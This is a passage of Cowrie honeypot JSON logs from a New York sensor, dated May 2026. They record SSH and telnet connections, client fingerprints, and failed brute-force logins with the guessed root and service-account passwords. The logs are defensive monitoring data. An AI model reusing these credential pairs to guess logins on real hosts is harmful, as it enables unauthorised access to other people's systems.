fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:00.984514Z","src_ip":"80.66.85.226","session":"e11a55ddc9f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19951995","message":"login attempt [root/19951995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:01.258417Z","src_ip":"80.66.85.226","session":"e11a55ddc9f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.23783016204834,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:02.319103Z","src_ip":"152.42.224.71","session":"858b673f2582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:02.356967Z","src_ip":"80.66.85.226","session":"e11a55ddc9f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.35167622566223,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:03.089405Z","src_ip":"152.42.224.71","session":"ad7d78910040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":60470,"dst_ip":"10.17.0.5","dst_port":22,"session":"b734edf0ad93","protocol":"ssh","message":"New connection: 194.147.93.208:60470 (10.17.0.5:22) [session: b734edf0ad93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:05.427826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:05.444874Z","src_ip":"194.147.93.208","session":"b734edf0ad93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:05.538269Z","src_ip":"194.147.93.208","session":"b734edf0ad93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eth-docker","message":"login attempt [root/eth-docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:05.956499Z","src_ip":"194.147.93.208","session":"b734edf0ad93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:07.060204Z","src_ip":"194.147.93.208","session":"b734edf0ad93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58176,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d675dfbbb72","protocol":"telnet","message":"New connection: 152.42.224.71:58176 (10.17.0.5:23) [session: 0d675dfbbb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:17.697656Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37870,"dst_ip":"10.17.0.5","dst_port":22,"session":"b984de705940","protocol":"ssh","message":"New connection: 103.176.20.57:37870 (10.17.0.5:22) [session: b984de705940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:18.922366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:18.928299Z","src_ip":"103.176.20.57","session":"b984de705940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:19.183148Z","src_ip":"103.176.20.57","session":"b984de705940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhntv","message":"login attempt [root/fhntv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:19.945864Z","src_ip":"103.176.20.57","session":"b984de705940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:21.210197Z","src_ip":"103.176.20.57","session":"b984de705940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60494,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d2f95b123e1","protocol":"telnet","message":"New connection: 152.42.224.71:60494 (10.17.0.5:23) [session: 1d2f95b123e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:33.279499Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":56022,"dst_ip":"159.203.135.109","dst_port":22,"session":"07053c467230","protocol":"ssh","message":"New connection: 45.148.10.121:56022 (159.203.135.109:22) [session: 07053c467230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:36.050956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:36.058611Z","src_ip":"45.148.10.121","session":"07053c467230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:36.145387Z","src_ip":"45.148.10.121","session":"07053c467230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33776,"dst_ip":"10.17.0.5","dst_port":23,"session":"743df42941f8","protocol":"telnet","message":"New connection: 152.42.224.71:33776 (10.17.0.5:23) [session: 743df42941f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:43.643592Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37074,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a7df2e8284","protocol":"telnet","message":"New connection: 152.42.224.71:37074 (10.17.0.5:23) [session: d6a7df2e8284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:54.548279Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37058,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9b53d7b5cc6","protocol":"telnet","message":"New connection: 152.42.224.71:37058 (10.17.0.5:23) [session: b9b53d7b5cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:54.554617Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":51628,"dst_ip":"159.203.135.109","dst_port":22,"session":"e045e3d91afe","protocol":"ssh","message":"New connection: 103.75.183.219:51628 (159.203.135.109:22) [session: e045e3d91afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:56.055581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:56.060555Z","src_ip":"103.75.183.219","session":"e045e3d91afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58532,"dst_ip":"10.17.0.5","dst_port":22,"session":"680e6afab6d0","protocol":"ssh","message":"New connection: 193.32.162.145:58532 (10.17.0.5:22) [session: 680e6afab6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:56.223590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:56.228687Z","src_ip":"193.32.162.145","session":"680e6afab6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:56.313980Z","src_ip":"103.75.183.219","session":"e045e3d91afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:56.334580Z","src_ip":"193.32.162.145","session":"680e6afab6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"solana","message":"login attempt [jito/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:56.653410Z","src_ip":"193.32.162.145","session":"680e6afab6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321123321","message":"login attempt [root/123321123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:57.074839Z","src_ip":"103.75.183.219","session":"e045e3d91afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:57.794405Z","src_ip":"193.32.162.145","session":"680e6afab6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:58.330568Z","src_ip":"103.75.183.219","session":"e045e3d91afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.88585138320923,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:08.583364Z","src_ip":"152.42.224.71","session":"0d675dfbbb72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.86546850204468,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:20.144830Z","src_ip":"152.42.224.71","session":"1d2f95b123e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.98426342010498,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:26.627693Z","src_ip":"152.42.224.71","session":"743df42941f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":59976,"dst_ip":"10.17.0.5","dst_port":22,"session":"91c6b5704ec4","protocol":"ssh","message":"New connection: 194.147.93.208:59976 (10.17.0.5:22) [session: 91c6b5704ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:32.096254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:32.101913Z","src_ip":"194.147.93.208","session":"91c6b5704ec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:32.193228Z","src_ip":"194.147.93.208","session":"91c6b5704ec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cccccc","message":"login attempt [root/cccccc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:32.590066Z","src_ip":"194.147.93.208","session":"91c6b5704ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:33.684936Z","src_ip":"194.147.93.208","session":"91c6b5704ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.14616823196411,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:37.700711Z","src_ip":"152.42.224.71","session":"b9b53d7b5cc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":42954,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf11b61706e0","protocol":"ssh","message":"New connection: 109.172.54.111:42954 (10.17.0.5:22) [session: bf11b61706e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:40.796946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:40.806879Z","src_ip":"109.172.54.111","session":"bf11b61706e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:40.895772Z","src_ip":"109.172.54.111","session":"bf11b61706e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhufhbnf","message":"login attempt [root/vfhufhbnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:41.297909Z","src_ip":"109.172.54.111","session":"bf11b61706e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.721360206604004,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:42.269501Z","src_ip":"152.42.224.71","session":"d6a7df2e8284","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:42.400848Z","src_ip":"109.172.54.111","session":"bf11b61706e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60236,"dst_ip":"159.203.135.109","dst_port":22,"session":"3109913ca381","protocol":"ssh","message":"New connection: 51.250.105.222:60236 (159.203.135.109:22) [session: 3109913ca381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:54.319367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:54.323914Z","src_ip":"51.250.105.222","session":"3109913ca381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 